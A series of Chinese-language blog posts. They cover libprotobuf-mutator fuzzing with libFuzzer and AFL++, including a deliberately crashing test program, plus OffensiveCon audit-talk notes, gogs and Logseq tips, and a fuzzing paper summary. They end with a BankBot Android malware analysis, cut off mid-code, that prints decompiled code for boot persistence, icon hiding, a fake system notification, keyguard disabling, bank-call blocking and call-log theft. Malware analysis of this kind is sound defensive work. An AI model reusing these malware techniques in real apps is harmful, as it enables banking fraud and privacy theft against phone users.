执行 make 后报错 ./test.pb.h:17:2: error: This file was generated by an older version of protoc which is,因为我们在编译的时候使用了 -DLIB_PROTO_MUTATOR_DOWNLOAD_PROTOBUF=ON 下载了新版本的 protobuf,所以出了这个错误。只好使用下载的 protoc 重新生成 test.pb.cctest.pb.h

1
~/code/libprotobuf-mutator/build/external.protobuf/bin/protoc ./test.proto --cpp_out=./genfiles

这次可以成功 make 了,实际执行的命令是

1
2
clang++ -o test_proto test_proto.cc test.pb.cc /home/henices/code/libprotobuf-mutator/build/external.protobuf//lib/libprotobufd.a \
-I/home/henices/code/libprotobuf-mutator/build/external.protobuf//include

运行 ./test_proto, 输出如下

1
2
101
testtest

Combine libprotobuf-mutator with libfuzzer

代码在: https://github.com/bruce30262/libprotobuf-mutator_fuzzing_learning/tree/master/2_libprotobuf_libfuzzer

harness.cc

1
2
3
4
5
6
7
8
9
#include <stdint.h>
#include <stddef.h>

extern "C" int FuzzTEST(const uint8_t *data, size_t size) {
if(data[0] == '\x01') {
__builtin_trap();
}
return 0;
}

其中 FuzzTEST 是我们需要测试的目标函数。

lpm_libfuzz.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include "libprotobuf-mutator/src/libfuzzer/libfuzzer_macro.h"
#include "test.pb.h"

#include <bits/stdc++.h>

using std::cin;
using std::cout;
using std::endl;

std::string ProtoToData(const TEST &test_proto) {
std::stringstream all;
const auto &aa = test_proto.a();
const auto &bb = test_proto.b();
all.write((const char*)&aa, sizeof(aa));
if(bb.size() != 0) {
all.write(bb.c_str(), bb.size());
}

std::string res = all.str();
if (bb.size() != 0 && res.size() != 0) {
// set PROTO_FUZZER_DUMP_PATH env to dump the serialized protobuf
if (const char *dump_path = getenv("PROTO_FUZZER_DUMP_PATH")) {
std::ofstream of(dump_path);
of.write(res.data(), res.size());
}
}
return res;
}

extern "C" int FuzzTEST(const uint8_t* data, size_t size); // our customized fuzzing function

DEFINE_PROTO_FUZZER(const TEST &test_proto) {
auto s = ProtoToData(test_proto); // convert protobuf to raw data
FuzzTEST((const uint8_t*)s.data(), s.size()); // fuzz the function
}

在文件的最开头导入 libfuzzer_macro.h, 后面就可以使用一些宏来写代码了,DEFINE_PROTO_FUZZER 是关键的 fuzzer 入口。结构化变异部分 libprotobuf-mutator 已经完成了,需要实现的是一个由 protobuf 转需要的数据类型的函数,如上面的 ProtoToData

代码编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
TARGET=lpm_libfuzz
CXX=clang++
CXXFLAGS=-g -fsanitize=fuzzer,address
PB_SRC=test.pb.cc

PROTOBUF_DIR=$(HOME)/code/libprotobuf-mutator/build/external.protobuf/
LPM_DIR=$(HOME)/code/AFL+/external/libprotobuf-mutator
PROTOBUF_LIB=$(PROTOBUF_DIR)/lib/libprotobufd.a
LPM_LIB=$(LPM_DIR)/lib/libprotobuf-mutator-libfuzzer.a $(LPM_DIR)/lib/libprotobuf-mutator.a
INC=-I$(PROTOBUF_DIR)/include -I$(LPM_DIR)/include
DFUZZ=-DLLVMFuzzerTestOneInput=FuzzTEST

all: $(TARGET)

# for testing libprotobuf + libfuzzer
# compile harness first
# then link lpm_libfuzz with harness.o & static libraries
harness.o: harness.cc
$(CXX) $(CXXFLAGS) -c $(DFUZZ) $<

$(TARGET): harness.o $(TARGET).cc
$(CXX) $(CXXFLAGS) -o $@ $^ $(PB_SRC) $(LPM_LIB) $(PROTOBUF_LIB) $(INC) # $(LPM_LIB) must be placed before $(PROTOBUF_LIB)

.PHONY: clean
clean:
rm $(TARGET) *.o

make 后报错,找不到头文件

1
2
3
4
/home/henices/code/AFL+/external/libprotobuf-mutator/include/libprotobuf-mutator/src/libfuzzer/libfuzzer_macro.h:24:10: fatal error: 'port/protobuf.h' file not found
#include "port/protobuf.h"
^~~~~~~~~~~~~~~~~
1 error generated.

port/protobuf.h 来自 https://github.com/google/libprotobuf-mutator/blob/master/port/protobuf.h 修改 Makefile 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
TARGET=lpm_libfuzz
CXX=clang++
CXXFLAGS=-g -fsanitize=fuzzer,address
PB_SRC=test.pb.cc

PROTOBUF_DIR=$(HOME)/code/libprotobuf-mutator/build/external.protobuf/
LPM_DIR=$(HOME)/code/AFL+/external/libprotobuf-mutator
PROTOBUF_LIB=$(PROTOBUF_DIR)/lib/libprotobufd.a
LPM_LIB=$(LPM_DIR)/lib/libprotobuf-mutator-libfuzzer.a $(LPM_DIR)/lib/libprotobuf-mutator.a
INC=-I$(PROTOBUF_DIR)/include -I$(HOME)/code/libprotobuf-mutator/ -I$(LPM_DIR)/include
DFUZZ=-DLLVMFuzzerTestOneInput=FuzzTEST

all: $(TARGET)

# for testing libprotobuf + libfuzzer
# compile harness first
# then link lpm_libfuzz with harness.o & static libraries
harness.o: harness.cc
$(CXX) $(CXXFLAGS) -c $(DFUZZ) $<

$(TARGET): harness.o $(TARGET).cc
$(CXX) $(CXXFLAGS) -o $@ $^ $(PB_SRC) $(LPM_LIB) $(PROTOBUF_LIB) $(INC) # $(LPM_LIB) must be placed before $(PROTOBUF_LIB)

.PHONY: clean
clean:
rm $(TARGET) *.o

修改 makefile 后,可以正常编译通过。经过我们上面的分析,不需要定义 DFUZZ=-DLLVMFuzzerTestOneInput=FuzzTEST 将这行删除掉,同样可以编译通过。

执行 lpm_libfuzz 运行正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜  ./lpm_libfuzz                                                                                                                                                                                          
INFO: found LLVMFuzzerCustomMutator (0x758a80). Disabling -len_control by default.
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 331712324
INFO: Loaded 1 modules (434 inline 8-bit counters): 434 [0xa056b8, 0xa0586a),
INFO: Loaded 1 PC tables (434 PCs): 434 [0x939398,0x93aeb8),
INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes
INFO: A corpus is not provided, starting from an empty corpus
#2 INITED cov: 82 ft: 83 corp: 1/1b exec/s: 0 rss: 35Mb
NEW_FUNC[1/41]: 0x75abb0 in TEST::~TEST() /tmp/genfiles/test.pb.cc:116
NEW_FUNC[2/41]: 0x75ca10 in google::protobuf::UnknownFieldSet* google::protobuf::internal::InternalMetadata::mutable_unknown_fields<google::protobuf::UnknownFieldSet>() /home/henices/code/libprotobuf-mut
ator/build/external.protobuf//include/google/protobuf/metadata_lite.h:117
#3 NEW cov: 135 ft: 159 corp: 2/12b lim: 4096 exec/s: 0 rss: 36Mb L: 11/11 MS: 1 CustomCrossOver-
#4 NEW cov: 138 ft: 162 corp: 3/201b lim: 4096 exec/s: 0 rss: 36Mb L: 189/189 MS: 2 InsertRepeatedBytes-Custom-
#38 REDUCE cov: 138 ft: 162 corp: 3/127b lim: 4096 exec/s: 0 rss: 37Mb L: 115/115 MS: 5 CustomCrossOver-CustomCrossOver-Custom-InsertRepeatedBytes-Custom-
#60 REDUCE cov: 138 ft: 162 corp: 3/124b lim: 4096 exec/s: 0 rss: 37Mb L: 112/112 MS: 4 CustomCrossOver-ShuffleBytes-ChangeByte-Custom-
#98 REDUCE cov: 138 ft: 162 corp: 3/56b lim: 4096 exec/s: 0 rss: 37Mb L: 44/44 MS: 5 CrossOver-Custom-Custom-CMP-Custom- DE: "~\xff\xff\xff\xff\xff\xff\xff"-
#144 REDUCE cov: 138 ft: 162 corp: 3/53b lim: 4096 exec/s: 0 rss: 37Mb L: 41/41 MS: 2 CrossOver-Custom-
#182 REDUCE cov: 138 ft: 162 corp: 3/25b lim: 4096 exec/s: 0 rss: 37Mb L: 13/13 MS: 5 ChangeBit-Custom-Custom-InsertByte-Custom-
#324 REDUCE cov: 138 ft: 162 corp: 3/24b lim: 4096 exec/s: 0 rss: 38Mb L: 12/12 MS: 3 CustomCrossOver-EraseBytes-Custom-

Handling input from AFL++ in our custom mutator

https://github.com/bruce30262/libprotobuf-mutator_fuzzing_learning/tree/master/5_libprotobuf_aflpp_custom_mutator_input

主要内容是将 libprotobuf-mutator 和 afl++ 结合起来,使用的 afl++ 的 custom mutator,值得一提的是在这个例子里,需要使用 -fPIC 参数编译 libprotobuf-mutator。

1
2
3
4
cmake .. -GNinja -DCMAKE_C_COMPILER=clang -DLIB_PROTO_MUTATOR_DOWNLOAD_PROTOBUF=ON \
-DCMAKE_INSTALL_PREFIX=/home/henices/code/AFL+/external/libprotobuf-mutator \
-DCMAKE_CXX_COMPILER=clang++ -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-fPIC" -DCMAKE_CXX_FLAGS="-fPIC"

主要的步骤在 readme.md 中已经介绍得比较清楚了。

  • lpm_aflpp_custom_mutator_input.cc 是 afl++ 的 custom mutator shared library
    • 解析输入数据(testcase buffer)并将其转成 TEST protobuf message
    • 使用 libprotobuf-mutator 变异 TEST protobuf message
    • 注册一个 PostProcessor 处理变异后的 TEST protobuf message (非必要步骤)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
extern "C" size_t afl_custom_fuzz(MyMutator *mutator, // return value from afl_custom_init
uint8_t *buf, size_t buf_size, // input data to be mutated
uint8_t **out_buf, // output buffer
uint8_t *add_buf, size_t add_buf_size, // add_buf can be NULL
size_t max_size) {
// This function can be named either "afl_custom_fuzz" or "afl_custom_mutator"
// A simple test shows that "buf" will be the content of the current test case
// "add_buf" will be the next test case ( from AFL++'s input queue )

TEST input;
// parse input data to TEST
// Notice that input data should be a serialized protobuf data
// Check ./in/ii and test_protobuf_serializer for more detail
bool parse_ok = input.ParseFromArray(buf, buf_size);
if(!parse_ok) {
// Invalid serialize protobuf data. Don't mutate.
// Return a dummy buffer. Also mutated_size = 0
static uint8_t *dummy = new uint8_t[10]; // dummy buffer with no data
*out_buf = dummy;
return 0;
}
// mutate the protobuf
mutator->Mutate(&input, max_size);

// Convert protobuf to raw data
const TEST *p = &input;
std::string s = ProtoToData(*p);
// Copy to a new buffer ( mutated_out )
size_t mutated_size = s.size() <= max_size ? s.size() : max_size; // check if raw data's size is larger than max_size
uint8_t *mutated_out = new uint8_t[mutated_size+1];
memcpy(mutated_out, s.c_str(), mutated_size); // copy the mutated data
// Assign the mutated data and return mutated_size
*out_buf = mutated_out;
return mutated_size;
}

mutator->Mutate(&input, max_size); 为真正起作用的核心代码

  • lpm_aflpp_custom_mutator_input.h 继承了protobuf_mutator::Mutator, 可以使用 libprotobuf-mutator 的 Mutate 方法
1
2
3
4
5
6
7
#include "libprotobuf-mutator/src/mutator.h"
#include "test.pb.h"

#include <bits/stdc++.h>

class MyMutator : public protobuf_mutator::Mutator {
};
  • test_proto_serializer.cc

    • 用于生成一条序列化的 TEST protobuf message,可以作为 fuzz 的初始化 testcase 使用
  • vuln.c 漏洞测试程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
char str[100]={};
read(0, str, 100);
int *ptr = NULL;
if( str[0] == '\x02' || str[0] == '\xe8') {
*ptr = 123;
}
return 0;
}

漏洞测试程序比较简单,只要第一个字节是 0xe8 或者 0x02 即可,libprotobuf-mutator 的变异在这个例子里效率并不高,所以需要使用 PostProcessor 来优化变异。

  • Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
TARGET=lpm_aflpp_custom_mutator_input
CXX=clang++-11
AFLCC=$(HOME)/AFLplusplus/afl-gcc
PB_SRC=test.pb.cc

PROTOBUF_DIR=$(HOME)/libprotobuf-mutator/build/external.protobuf
PROTOBUF_LIB=$(PROTOBUF_DIR)/lib/libprotobufd.a

LPM_DIR=$(HOME)/libprotobuf-mutator
LPM_LIB=$(LPM_DIR)/build/src/libfuzzer/libprotobuf-mutator-libfuzzer.a $(LPM_DIR)/build/src/libprotobuf-mutator.a

INC=-I$(PROTOBUF_DIR)/include -I$(LPM_DIR)

all: $(TARGET).so

$(TARGET).so: $(TARGET).cc $(PB_SRC)
$(CXX) -fPIC -c $^ $(INC)
$(CXX) -shared -Wall -O3 -o $@ *.o $(LPM_LIB) $(PROTOBUF_LIB)

vuln: vuln.c
$(AFLCC) -o $@ $^

test_proto_serializer: test_proto_serializer.cc $(PB_SRC)
$(CXX) -o $@ $^ $(PROTOBUF_LIB) $(INC)

.PHONY: clean
clean:
rm *.so *.o vuln test_proto_serializer

Makefile 有瑕疵,这个章节的内容和 libfuzzer 没有关系,不需要链接 libprotobuf-mutator-libfuzzer.a

参考资料

https://developers.google.com/protocol-buffers/docs/cpptutorial
https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md
https://github.com/google/libprotobuf-mutator/
https://llvm.org/docs/LibFuzzer.html
https://github.com/bruce30262/libprotobuf-mutator_fuzzing_learning

https://www.youtube.com/watch?v=7Ysy6iA2sqA&ab_channel=OffensiveCon

  • Temperament
    • Curiosity
    • Detail-oriented
    • Ability to deal with failure and continual evidence that you’re wrong
  • Learn how to deal with failure
    • Two projects (can be unrealeted, or different parts of the same)
      • Learn to recognize whe you have hit a wall and have become unproductive
      • Switch to your secondary project
    • Consider having a development project as your seconary project
      • Do an achiveable, measurable task
      • Regain a sense of achievement
  • Moving on - Knowning when to quit
    • You will return it in the future
  • Motivation - Remaining Enager
    • The more you’re curious about how a technology works or how an algorithm achives its goal, the less monotonous code review is
  • Motivation - bug patching
    • bugs being patched is frustrating
      • … but they are evidence that you were on the right track!
  • Confidence
    • Research is a daunting filed to enter
    • Some security reseacher you respect had the same self-doubt coming in, and have recurrences from time to time
    • Growth mindset: “I can’t do that … Yet”
  • Bias and assumptions
    • Common code reviewer biases
      • Everyone has looked at the already (many eyes make all bugs shallow)
      • Even if I found something, it will be unexploitable (Server side)
      • The X attack surface is not interesting now (eg, media parsing in browsers)
      • There are no more bugs in this
      • The protocol doesn’t allow you to do X
  • Auditing Process
    • Understanding the code
    • Documenting your findings
    • Identifying bias
    • Tooling
    • Revisit the code base
    • Analyze failures
  • Attampt to understand the code
    • A lot of people try to short-circuit this process
      • Reliance on tools
      • Fuzzers/static analyzers are a guide, not the whole process
    • Many of today’s vulnerabilities are complex, and require in-depth understanding of the codebase
    • The more you understand about how the program works, the better equipped you are to find bugs ( and exploit them)
    • The best way to understand how something works is to explain to someone else
  • What I’m looking for
    • software risk = available attack surface * complexity
    • attack surface can be indirect
      • even mitigations are attack surface
    • often you initial perception of attack surface is naive
      • Hidden/non-obvious attack surfaces are the best
    • Complexity is plentiful
      • Feature driven (thanks w3c)
      • Legacy support
      • Often avoidable: the anomaly of cheap complexity
  • Borrwoing ideas
    • Bugtracker / Diffs
      • Can show where a bug is
      • Can inspire new ideas: variants, same bugs in other codebase
      • Mean but viable: track commits by error-prone developers
    • Comments in the codebase
      • Descripbe things I’d never thought of
  • Document your findings
    • Get into the habit of documenting
      • ideas, bugs candidates, idiosyncrasies, data structure, algorithms
    • Documenting failed ideas is as important as documenting successful ones
      • avoids repeating thie idea sometime later
    • Long term view: I’m going to revisit this later
  • Revisit code bases and failed bugs
    • code bases are not static
      • coee rewritten
      • Features added/changed
    • Environment is not static
  • Analyze your failures
    • if someone succeeds where you didn’t, have a look at what they found
    • Try to figure out: why did I miss it?
    • Is this a one-off or teachable trick/blind spot
    • Can you improve on that?
    • Is there a pattern in those falures?
    • Failures is an oppotunity to learn

gogs 使用了也有一年多了,小团队使用基本还行。有几个问题,第一界面代码 merge 有问题,第二不支持代码 review,
如果能解决上面两个问题就好用很多了。下面两段是年前折腾 gogs 的记录,没有啥技术含量,只是做个备份。

切换皮肤

https://github.com/Kos-M/GogsThemes 提供了两款皮肤,文中给出的方法要修改 gogs 配置,直接使用 TamperMonkey 就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// ==UserScript==
// @name Gogs Theme
// @resource IMPORTED_CSS https://raw.githubusercontent.com/Kos-M/GogsThemes/master/themes/dark_theme.css
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match http://website:8000/*
// @grant GM_getResourceText
// @grant GM_addStyle
// ==/UserScript==

(function() {
'use strict';
const my_css = GM_getResourceText("IMPORTED_CSS");
GM_addStyle(my_css);
})();

使用后效果图

源码升级

gogs 已经有一年多没有提供二进制的安装包了,看了改进不少,就尝试了源码升级。
参考 https://gogs.io/docs/installation/install_from_source#%E6%B5%8B%E8%AF%95%E5%AE%89%E8%A3%85

安装 golang

参考 Google 官方文档,执行下面命令就可以了。 https://go.dev/doc/install

1
2
3
wget https://go.dev/dl/go1.17.6.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.17.6.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

编译

1
2
3
4
5
6
# 克隆仓库到 "gogs" 子目录
git clone --depth 1 https://github.com/gogs/gogs.git gogs
# 修改工作目录
cd gogs
# 编译主程序,这个步骤会下载所有依赖
go build -o gogs

编译过程会下载文件(需要自备梯子),编译完成后将在 gogs 工作目下生成 gogs 可执行文件

打包

gogs 源码的 Makefile 提供了打包命令,执行 make pack 即可,将在 release 目生成 gogs.20220112095054.zip

迁移配置

将 gogs.20220112095054.zip 解压,这就类似 gogs 的二进制升级了 https://gogs.io/docs/upgrade/upgrade_from_binary

1
2
3
4
mv gogs gogs_old
cp -R gogs_old/custom gogs
cp -R gogs_old/data gogs
cp -R gogs_old/log gogs

gogs 0.13 的配置已经发生了变化,如果不修改配置执行 ./gogs web会出现错误

1
2
3
2022/01/12 09:40:06 [ INFO] Gogs 0.13.0+dev
2022/01/12 09:40:06 [FATAL] [...github/internal/route/install.go:75 GlobalInit()] Failed to initialize ORM engine:
open database: failed to connect to `host=127.0.0.1 user=root database=gogs`: dial error (dial tcp 127.0.0.1:3306: connect: connection refused)

看错误像是在连接 mysql 的 3306 端口,可是配置文件设置的是使用 sqlite,非常困惑。上网搜索后证实是 gogs 0.13 的配置文件的字段修改了。

最关键的两个字段是数据库相关的 DB_TYPE 改为 TYPEPASSWD 改为 PASSWORD 修改后 custom/conf/app.ini 后,执行 ./gogs web 一切正常。

用了 Logseq 一段时间了,做个简单的总结,国内的很多文章,在我看来还是不够简单明了, 本文大致介绍了 Logseq 比较常用的一些功能的使用。

Flashcards

可以把记录的知识点当作卡片来记忆,用过 Anki 的同学,应该都比较熟悉了,使用的记忆算法为 SM-5
要将一个 block 记为卡片非常简单,使用 #card 标签就可以了。

卡片组

有些卡片可能是归属同一个大类,这时候就可以使用卡片组了。像我上面这个例子中,要记忆的单词都在 英语单词积累下,就可以使用语法 {{cards 英语单词积累}} 效果如下图,
可以看出我已经积累了7张卡片了。

要背诵需要记忆的卡片时,单击左侧的 Flashcards 就可以了,使用方面没有什么特别的地方,有三个选项可以选择。

theme (皮肤)

皮肤就是青菜萝卜各有所爱了,推荐两款我自己比较喜欢的的皮肤。


Github 仓库地址如下:

https://github.com/pengx17/logseq-laurel-theme
https://github.com/tobealive/logseq-allday-theme

有两种方法可以设置皮肤:

  • custom.css
  • plugin system

使用 custom.css,打开 Settings -> General -> Custom theme 点击 custom.css 复制 css 内容,保存退出即可。
使用插件系统,则需要先把插件系统打开,Settings -> Advanced -> Plug-in system 。打开插件系统后,可以直接使用
Plugins -> Marketplace -> themes 选择你喜欢的 theme 点击 Install 就可以了

不过还是推荐使用 Logseq 自带的插件管理系统来安装,可以自动升级比较方便,切换皮肤可以点击右上角 三个点 -> Themes 选择皮肤。

plugin (插件)

使用 Logseq 插件同样是两种方法:

  • plugin system
  • Load unpacked plugin

使用插件系统的方法和上面安装皮肤的步骤大致相同,依次点击 Plugins -> Marketplace -> Plugins ,选择插件点击 Install 即可。要加载 unpacked plugin 首先要打开开发者模式 Settings -> Advanced -> Developer mode , 设置为打开。打开后使用插件管理系统 Plugins -> Installed -> Load unpacked plugin 选择相关目录就可以了。

具体的插件可以参考 https://github.com/logseq/awesome-logseq#Plugins 记录的插件都挺不错的。

值得一提的是,插件系统的网络不太稳定(总所周知的原因),使用代理会方便一些。

1
https_proxy=127.0.0.1:3128 ./Logseq --proxy-server=http://127.0.0.1:3128

安装插件可能会出现 timeout 错误,多重试几次就应该可以安装上了。

query

query 算是 Logseq 的高级功能了,我用的也不多,输入 /query 回车就可以自动进入 query 了,具体的语法很灵活可以参考:
https://logseq.github.io/#/page/queries

油管上有相关 video,大家可以参考一下:
https://www.youtube.com/watch?v=GDauxjx_bdA&ab_channel=OneStutteringMind
https://www.youtube.com/watch?v=qQ8DzumRZkM&ab_channel=OneStutteringMind

写在后面的话

Logseq 的功能还是挺多的,两篇文章也不可能全部介绍完,官方文档总是最好的资料:https://logseq.github.io/#/page/Contents

参考资料

https://logseq.github.io
https://www.usmacd.com/2022/02/21/logseq/

paper: https://www.s3.eurecom.fr/docs/fuzzing22_fioraldi_report.pdf

两个实验的结论 (主要基于 FuzzBench)

  • Our conclusion after this experiment is that AFL, and follow-ups fuzzers like AFL++, should provide an optionto disable hitcounts. AFL++ provides many different op-tions, and the users are suggested to run an instance of each variant when doing parallel fuzzing, a common use-case in real-world setups. The fact that in our experiments,hitcounts have shown a highly variadic behavior suggests that users should include a variant without hitcounts when doing parallel or ensemble fuzzing like OSS-Fuzz.
  • The conclusion we can draw from this experiment is that it would be a mistake to underestimate the impact of the novelty search. In particular, researchers proposing new approaches that also modify this aspect should care-fully evaluate – in isolation – the benefit of a different mechanism to decide if an input is interesting, as AFL’s novelty search provides a strong baseline.

论文中计划要评估的 afl-fuzz 的一些技术

  • Hitcounts: Hitcounts are adopted by other fuzzers to-day, but AFL was the first to introduce this concept.Despite its wide adoption, the impact of this optimization (overplain edge coverage) has never been measured in isolation on a large set of targets.
  • Novelty search vs. maximization of a fitness: While AFL considers every new discovered hitcount as interesting, both other early fuzzing solutions and more recent tools instead only consider testcases that maximize a given metricas interesting. For instance, VUZZER uses the sum of all the weights of the executed basic blocks.
    • In this experiment, we benchmark the AFL approach versusa fitness maximization and the combination of the two ap-proaches, as proposed by VUZZER
    • We expect the novelty search to outperforms both of the competing algorithms,
  • Corpus culling: The prioritization of the small and fast testcases in the AFL corpus selection algorithm trades speed with the fuzzing of more complex testcases that often corresponds to complex program states
    • In this experiment, we want to assess the difference in using the AFL corpus culling mechanism versus using the entire corpus.
    • We expect faster growth in coverage over time and,potentially, more bugs triggered in the same time window
  • Score calculation: The performance score used to cal-culate how many times to mutate and execute the input in the havoc, and splice stages are derived from many variables,mainly testcase size and execution time
    • In this experiment, we want to measure the delta between the AFL solution and the baseline, represented by a constantand a random score
  • Corpus scheduling: The FIFO policy used by AFL is only one of the possible policies that a fuzzer can adopt to select the next testcase
    • Thus, we evaluate AFL versus a modified version that implements the baseline, random selection, and the opposite approach, a LIFO scheduler.
  • Splicing as stage vs. splicing as mutation: Splicing refers to the operation that merges two different testcases into a new one
    • We modified the AFL codebase to implement splicing as a mutation operator to compare the two.
  • Trimming: Trimming the testcases allows the fuzzer to reduce the size of the input files and consequently give priority to small inputs, under the assumptions that large inputs introduce a slowdown in the execution and the mutations would be less likely to modify an important portion of the binary structure
    • Despite the fact that this algorithm can bring the two important benefits described above, we argue that reducing the size of the testcases could lead to lose state coverage.Additionally, the trimming phase could become a bottleneck for slow targets
    • Therefore, in our evaluation we plan tocompare the default version of AFL against a modified one,where we disabled trimming
  • Collisions: As explained in section III-F the AFL ap-proach to instrument the source code of the target programs consists of assigning an identifier for each basic block at compile-time.
    • We want to benchmark this feature as the collision-free variant is simpler than the original implementation with pc-guard, raising the question why random identifiers are used in AFL

0x00 样本概况

字段 内容
样本名 BankBot
MD5 3c42c391bec405bb28b28195c2961778
SHA256 93b64019ee48177889d908c393703a2a2fe05ca33793c14b175467ce619b1b94
文件类型 APK

这是一个以盗窃信用卡用户密码为主要目的的bot。安装后显示为Android图标。打开App后
会以Android系统更新的形式,诱导用户操作达到常驻系统的目的。

0x01 行为分析

开机自启动

1
2
3
4
5
6
7
8
9
10
11
12
<receiver android:name="com.android.market.Autorun">
<intent-filter android:priority="999">
<action android:name="android.intent.action.REBOOT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
<intent-filter android:priority="1000">
<action android:name="android.intent.action.REBOOT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>

Autorun

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.android.market;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public final class Autorun extends BroadcastReceiver {
public Autorun() {
super();
}

public void onReceive(Context context, Intent intent) {
Intent v0 = new Intent(context, Scheduler.class);
v0.setFlags(0x10000000);
context.startService(v0);
}
}

开机将启动 Schedule 服务

Schedule 服务

1
2
3
4
5
6
7
8
9
10
11
12
13
public int onStartCommand(Intent intent, int flags, int startId) {
super.onStartCommand(intent, flags, startId);
Utils.registerIfNeeded(((Context)this));
Object v0 = this.getSystemService("alarm");
PendingIntent v6 = PendingIntent.getBroadcast(((Context)this), 0, new Intent(((Context)this),
NetworkController.class), 0);
int v7 = FileController.fileExists(((Context)this), "interval") ? Integer.parseInt(FileController
.readFile(((Context)this), "interval")) : 0xA;
((AlarmManager)v0).setRepeating(0, System.currentTimeMillis() + 0x2710, ((long)(v7 * 0x3E8)),
v6);
this.handleCrashes();
return 1;
}

Schedule 服务使用alarm manager 注册一个定时任务。这个定时任务由NetworkController完成。
时间间隔由配置文件interval决定。

com.android.market.FileController

1
2
3
static final boolean fileExists(Context context, String filename) {
return new File(context.getFilesDir(), filename).exists();
}

隐藏App 图标

1
2
3
4
5
6
7
static final void hideApp(Context context, boolean hide) {
ComponentName v0 = new ComponentName(context.getPackageName(), String.valueOf(context.getPackageName())
+ ".MainActivity");
PackageManager v3 = context.getPackageManager();
int v1 = hide ? 2 : 1;
v3.setComponentEnabledSetting(v0, v1, 1);
}

伪造的系统Notification

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onCreate() {
super.onCreate();
new AppCrash().Register(((Context)this));
Notification v3 = new Notification(0x108008A, "Android system requires user action", System.
currentTimeMillis());
Intent v1 = new Intent(this.getApplicationContext(), AdminX.class);
v1.setAction("android.intent.action.VIEW");
v1.setFlags(0x34000000);
v3.setLatestEventInfo(this.getBaseContext(), "Android", "Android system requires action", PendingIntent
.getActivity(((Context)this), 0, v1, 0x8000000));
v3.flags |= 0x62;
this.startForeground(2, v3);
new Helper(this).execute(new Void[0]);
}

禁用屏幕锁定

1
AdminX.this.getSystemService("keyguard").newKeyguardLock("ANDROID").disableKeyguard();

禁止拨打指定号码电话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void onReceive(Context context, Intent intent) {
String[] v8;
String action = intent.getAction();
String v6 = intent.getStringExtra("state");
String v3 = intent.getStringExtra("incoming_number");
String v5 = intent.getStringExtra("android.intent.extra.PHONE_NUMBER");
String v1 = "8005555550; 4955005550;";
String v10 = "8005555550; 4955005550;";
String v11 = "";
int v9 = 0;
if(action.equals("android.intent.action.NEW_OUTGOING_CALL")) {
String v4 = v5.replace("+", "").replace("#", "d").replace("*", "s").replace(" ", "").replace(
"-", "");
if(v1 != null) {
v8 = v1.replace(" ", "").split(";");
if(v8.length > 0) {
int v13;
for(v13 = 0; v13 < v8.length; ++v13) {
if(v4.contains(v8[v13])) {
v9 = 1;
v11 = String.valueOf(v11) + "blocked outgoing call";
this.setResultData(null);
}
}
}
}

if(v9 == 0) {
v11 = String.valueOf(v11) + "outgoing call";
}

new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v4,
v11) + "]"});
}
...
}

通过网页 http://www.sberbank.com/news-and-media/contacts 中的信息我们可以知道:

8005555550 4955005550 这两个号码 sberbank 的号码,在俄罗斯拨打免费。

禁止接听指定号码电话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
String v10 = "8005555550; 4955005550;";

if((action.equals("android.intent.action.PHONE_STATE")) && (v6.equals("RINGING"))) {
String v2 = v3 != null ? v3.replace("+", "").replace("#", "d").replace("*", "s").replace(
" ", "").replace("-", "") : "Unknown";
if(v10 != null) {
v8 = v10.replace(" ", "").split(";");
for(v13 = 0; v13 < v8.length; ++v13) {
if(v2.contains(v8[v13])) {
v11 = "blocked incoming call";
v9 = 1;
this.hangUp(context);
}
}

if(!v2.contains("Unknown")) {
goto label_106;
}

v11 = "blocked incoming call";
v9 = 1;
this.hangUp(context);
}

label_106:
if(v9 == 0) {
v11 = "incoming call";
}

new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v2,
v11) + "]"});
}

隐私窃取

获取电话拨打记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private StringBuilder getCallLog() {
StringBuilder v20 = new StringBuilder("[");
String v18 = "O||U|T||||G|O|||I|N||G|".replace("|", "");
Cursor v10 = this.context.getContentResolver().query(CallLog$Calls.CONTENT_URI, null, null,
null, null);
String v15 = "I++N+C+O+++M+I++N+G+".replace("+", "");
String v16 = "M-I--S--S---E--D---".replace("-", "");
